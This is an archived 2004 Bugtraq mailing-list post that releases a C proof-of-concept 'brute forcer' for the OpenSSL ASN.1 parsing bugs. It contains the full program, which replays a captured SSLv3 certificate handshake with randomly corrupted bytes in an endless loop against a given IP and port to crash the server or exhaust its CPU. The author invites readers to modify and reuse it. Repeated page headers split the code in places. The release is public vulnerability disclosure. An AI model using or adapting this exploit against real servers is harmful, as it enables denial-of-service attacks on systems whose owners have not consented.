

OpenSSL ASN.1 parsing bugs PoC / brute forcer

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2004-01/0126.html>

From: Bram Matthys (Syzop) (syzop_at_vulnscan.org)

Date: 01/15/04

Date: Thu, 15 Jan 2004 22:55:01 +0100

To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com

Hi,

exactly a week ago Mark Lachniet asked on the list(s) for PoC code for the OpenSSL ASN.1 parsing bugs (http://www.openssl.org/news/secadv_20030930.txt).

I replied and gave details on how I made my brute forcer for that but didn't provide a PoC due to ugly code (and actually.. other reasons too).

Since then, several people have mailed me off-list for it and I haven't seen any other PoC yet.. so I've now decided to release it anyway :)

Feel free to modify/rip it off/etc.

If you got any positive results or made some kind of improved version, please let me know.

Have fun,

Syzop.

```
/* Brute forcer for OpenSSL ASN.1 parsing bugs (<=0.9.6j <=0.9.7b)
 * written by Bram Matthys (Syzop) on Oct 9 2003.
 *
 * This program sends corrupt client certificates to the SSL
 * server which will 1) crash it 2) create lots of error messages,
 * and/or 3) result in other "interesting" behavior.
 *
 * I was able to crash my own ssl app in 5-15 attempts,
 * apache-ssl only generated error messages but after several hours
 * some childs went into some kind of eat-all-cpu-loop... so YMMV.
 *
 * It's quite ugly but seems to compile at Linux/FreeBSD.
 */
```

SecurityFocus Bugtraq: OpenSSL ASN.1 parsing bugs PoC / brute forcer

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <ctype.h>
#include <string.h>
#include <sys/signal.h>
#include <arpa/nameser.h>
#include <sys/time.h>
#include <time.h>
#include <errno.h>
```

```
char buf[8192];
```

```
/* This was simply sniffed from an stunnel session */
```

```
const char dacrap[] =
```

```
"\x16\x03\x00\x02\x47\x0b\x00\x02\x43\x00\x02\x40\x00\x02\x3d\x30\x82"
"\x02\x39\x30\x82\x01\xa2\xa0\x03\x02\x01\x02\x02\x01\x00\x30\x0d\x06"
"\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00\x30\x57\x31\x0b\x30"
"\x09\x06\x03\x55\x04\x06\x13\x02\x50\x4c\x31\x13\x30\x11\x06\x03\x55"
"\x04\x08\x13\x0a\x53\x6f\x6d\x65\x2d\x53\x74\x61\x74\x65\x31\x1f\x30"
"\x1d\x06\x03\x55\x04\x0a\x13\x16\x53\x74\x75\x6e\x6e\x65\x6c\x20\x44"
"\x65\x76\x65\x6c\x6f\x70\x65\x72\x73\x20\x4c\x74\x64\x31\x12\x30\x10"
"\x06\x03\x55\x04\x03\x13\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74\x30"
"\x1e\x17\x0d\x30\x33\x30\x36\x31\x32\x32\x33\x35\x30\x34\x39\x5a\x17"
"\x0d\x30\x34\x30\x36\x31\x31\x32\x33\x35\x30\x34\x39\x5a\x30\x57\x31"
"\x0b\x30\x09\x06\x03\x55\x04\x06\x13\x02\x50\x4c\x31\x13\x30\x11\x06"
"\x03\x55\x04\x08\x13\x0a\x53\x6f\x6d\x65\x2d\x53\x74\x61\x74\x65\x31"
"\x1f\x30\x1d\x06\x03\x55\x04\x0a\x13\x16\x53\x74\x75\x6e\x6e\x65\x6c"
"\x20\x44\x65\x76\x65\x6c\x6f\x70\x65\x72\x73\x20\x4c\x74\x64\x31\x12"
"\x30\x10\x06\x03\x55\x04\x03\x13\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73"
"\x74\x30\x81\x9f\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01"
"\x05\x00\x03\x81\x8d\x00\x30\x81\x89\x02\x81\x81\x00\xe6\x95\x5c\xc0"
"\xcb\x03\x78\xf1\x1e\xaa\x45\xb7\xa4\x10\xd0\xc1\xd5\xc3\x8c\xcc\xca"
"\x17\x7b\x48\x9a\x21\xf2\xfa\xc3\x25\x07\x0b\xb7\x69\x17\xca\x59\xf7"
"\xdf\x67\x7b\xf1\x72\xd5\x05\x61\x73\xe8\x70\xbf\xb9\xfa\xc8\x4b\x03"
"\x41\x62\x71\xf9\xf5\x4e\x28\xb8\x3b\xe4\x33\x76\x47\xcc\x1e\x04\x71"
"\xda\xc4\x0b\x05\x46\xf4\x52\x72\x99\x43\x36\xf7\x37\x6d\x04\x1c\x7a"
"\xde\x2a\x0c\x45\x4a\xb6\x48\x33\x3a\xad\xec\x16\xcc\xe7\x99\x58\xfd"
"\xef\x4c\xc6\xdd\x39\x76\xb6\x50\x76\x2a\x7d\xa0\x20\xee\xb4\x2c\xe0"
"\xd2\xc9\xa1\x2e\x31\x02\x03\x01\x00\x01\xa3\x15\x30\x13\x30\x11\x06"
"\x09\x60\x86\x48\x01\x86\xf8\x42\x01\x01\x04\x04\x03\x02\x06\x40\x30"
"\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00\x03\x81\x81"
"\x00\x9f\xff\xa9\x93\x70\xb9\xae\x48\x47\x09\xa1\x11\xbf\x01\x34\xbf"
"\x1f\x1e\xed\x88\x3e\x57\xe0\x37\x72\x0d\xec\xc7\x21\x44\x12\x99\x3a"
"\xfa\xaf\x79\x57\xf4\x7f\x99\x68\x37\xb1\x17\x83\xd3\x51\x44\xbd\x50"
"\x67\xf8\xd6\xd0\x93\x00\xbb\x53\x3d\xe2\x3d\x34\xfc\xed\x60\x85\xea"
```

SecurityFocus Bugtraq: OpenSSL ASN.1 parsing bugs PoC / brute forcer

```
"\x67\x7f\x91\xec\xfa\xe3\xd8\x78\xa2\xf4\x61\xfa\x77\xa3\x3f\xe4\xb1"
"\x41\x95\x47\x23\x03\x1c\xbf\x2e\x40\x77\x82\xef\xa0\x17\x82\x85\x03"
"\x90\x35\x4e\x85\x0d\x0f\x4d\xea\x16\xf5\xce\x15\x21\x10\xf9\x56\xd0"
"\xa9\x08\xe5\xf9\x9d\x5c\x43\x75\x33\xe2\x16\x03\x00\x00\x84\x10\x00"
"\x00\x80\x6e\xe4\x26\x03\x97\xb4\x5d\x58\x70\x36\x98\x31\x62\xd4\xef"
"\x7b\x4e\x53\x99\xad\x72\x27\xaf\x05\xd4\xc9\x89\xca\x04\xf1\x24\xa4"
"\xa3\x82\xb5\x89\x3a\x2e\x8f\x3f\xf3\xe1\x7e\x52\x11\xb2\xf2\x29\x95"
"\xe0\xb0\xe9\x3f\x29\xaf\xc1\xcd\x77\x54\x6a\xeb\xf6\x81\x6b\xd5\xd6"
"\x0a\x3d\xc3\xff\x6f\x76\x4a\xf7\xc9\x61\x9f\x7b\xb3\x25\xe0\x2b\x09"
"\x53\xcf\x06\x1c\x82\x9c\x48\x37\xfa\x71\x27\x97\xec\xae\x6f\x4f\x75"
"\xb1\xa5\x84\x99\xf5\xed\x8c\xba\x0f\xd5\x33\x31\x61\x5d\x95\x77\x65"
"\x8d\x89\x0c\x7d\xa7\xa8\x95\x5a\xc7\xb8\x35\x16\x03\x00\x00\x86\x0f"
"\x00\x00\x82\x00\x80\x78\x1d\xbd\x86\xcb\x6e\x06\x88\x57\x9e\x3d\x21"
"\x7e\xca\xd1\x75\xff\x33\xef\x48\x4d\x88\x96\x84\x8c\x2f\xfb\x92\x1d"
"\x15\x28\xef\xe0\xd3\x4d\x20\xe9\xae\x6c\x5c\xed\x46\xc0\xef\x4e\xb4"
"\xe4\xcf\xe9\x73\xb8\xd2\x8b\xe6\x5e\xb9\x0c\x67\xbe\x17\x13\x31\x3f"
"\xe5\xe1\x9a\x2d\xfe\xb4\xd6\xdb\x8f\xbc\x15\x22\x10\x65\xe1\xad\x5f"
"\x00\xd0\x48\x8d\x4e\xa7\x08\xbd\x5c\x40\x77\xb8\xa9\xbe\x58\xb0\x15"
"\xd2\x4c\xc8\xa1\x79\x63\x25\xeb\xa1\x32\x61\x3b\x49\x82\xf1\x3a\x70"
"\x80\xf8\xdc\xf7\xf9\xfc\x50\xc7\xa2\x5d\xe4\x30\x8e\x09\x14\x03\x00"
"\x00\x01\x01\x16\x03\x00\x00\x40\xfe\xc2\x1f\x94\x7e\xf3\x0b\xd1\xe1"
"\x5c\x27\x34\x7f\x01\xe9\x51\xd3\x18\x33\x9a\x99\x48\x6e\x13\x6f\x82"
"\xb2\x2c\xa5\x7b\x36\x5d\x85\xf5\x17\xe3\x4f\x2a\x04\x15\x2d\x0e\x2f"
"\x2c\xf9\x1c\xf8\x9e\xac\xd5\x6c\x20\x81\xe5\x22\x54\xf1\xe1\xd0\xfd"
"\x64\x42\xfb\x34";
```

```
#define CRAPLEN (sizeof(dacrap)-1)
```

```
int send_hello()
{
int len;
char *p = buf;
    *p++ = 22; /* Handshake */
    PUTSHORT(0x0300, p); /* SSL v3 */
    PUTSHORT(85, p); /* Length will be 85 bytes */

    *p++ = 1; /* Client hello */

    *p++ = 0; /* Length: */
    PUTSHORT(81, p); /* 81 bytes */

    PUTSHORT(0x0300, p); /* SSL v3 */
    PUTLONG(0xffffffff, p); /* Random.gmt_unix_time */

    /* Now 28 bytes of random data... (7x4bytes=28) */
    PUTLONG(0x11223344, p);
    PUTLONG(0x11223344, p);
    PUTLONG(0x11223344, p);
    PUTLONG(0x11223344, p);
    PUTLONG(0x11223344, p);
    PUTLONG(0x11223344, p);
    PUTLONG(0x11223344, p);
}
```

SecurityFocus Bugtraq: OpenSSL ASN.1 parsing bugs PoC / brute forcer

```
PUTLONG(0x11223344, p);

*p++ = 0; /* Session ID 0 */

PUTSHORT(42, p); /* Cipher Suites Length */
PUTSHORT(0x16, p);
PUTSHORT(0x13, p);
PUTSHORT(0x0a, p);
PUTSHORT(0x66, p);
PUTSHORT(0x07, p);
PUTSHORT(0x05, p);
PUTSHORT(0x04, p);
PUTSHORT(0x65, p);
PUTSHORT(0x64, p);
PUTSHORT(0x63, p);
PUTSHORT(0x62, p);
PUTSHORT(0x61, p);
PUTSHORT(0x60, p);
PUTSHORT(0x15, p);
PUTSHORT(0x12, p);
PUTSHORT(0x09, p);
PUTSHORT(0x14, p);
PUTSHORT(0x11, p);
PUTSHORT(0x08, p);
PUTSHORT(0x06, p);
PUTSHORT(0x03, p);

*p++ = 1; /* Compression method length: 1 */
*p++ = 0; /* (null) */

len = p - buf;
return len;
}

int send_crap()
{
    memcpy(buf, dacrap, CRAPLEN);
    return CRAPLEN;
}

void corruptor(char *buf, int len)
{
    int cb, i, l;

    cb = rand()%15+1; /* bytes to corrupt */

    for (i=0; i < cb; i++)
    {
        l = rand()%len;
        buf[l] = rand()%256;
    }
}
```

SecurityFocus Bugtraq: OpenSSL ASN.1 parsing bugs PoC / brute forcer

```
}

void diffit()
{
int i;
    printf("DIFF:\n");
    for (i=0; i < CRAPLEN; i++)
    {
        if (buf[i] != dacrap[i])
            printf("Offset %d: 0x%x -> 0x%x\n", i, dacrap[i], buf[i]);
    }
    printf("*****\n");
}

int main(int argc, char *argv[])
{
    struct sockaddr_in addr;
    int s, port = 0, first = 1, len;
    char *host = NULL;
    unsigned int seed;
    struct timeval tv;

    printf("OpenSSL ASN.1 brute forcer (Syzop/2003)\n\n");

    if (argc != 3) {
        fprintf(stderr, "Use: %s [ip] [port]\n", argv[0]);
        exit(1);
    }

    host = argv[1];
    port = atoi(argv[2]);
    if ((port < 1) || (port > 65535)) {
        fprintf(stderr, "Port out of range (%d)\n", port);
        exit(1);
    }

    gettimeofday(&tv, NULL);
    seed = (getpid() ^ tv.tv_sec) + (tv.tv_usec * 1000);

    printf("seed = %u\n", seed);
    srand(seed);

    memset(&addr, 0, sizeof(addr));

    signal(SIGPIPE, SIG_IGN); /* Ignore SIGPIPE */

    while(1)
    {
        if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
            fprintf(stderr, "Socket error: %s\n", strerror(errno));

```

SecurityFocus Bugtraq: OpenSSL ASN.1 parsing bugs PoC / brute forcer

```
    exit(EXIT_FAILURE);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(host);
if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
    fprintf(stderr, "Unable to connect: %s\n", strerror(errno));
    if (!first)
        diffit();
    exit(EXIT_FAILURE);
}
first = 0;
printf("."); fflush(stdout);

len = send_hello();
write(s, buf, len);
len = send_crap();
corruptor(buf, len);
write(s, buf, len);
usleep(1000); /* wait.. */
close(s);
}

exit(EXIT_SUCCESS);
}
```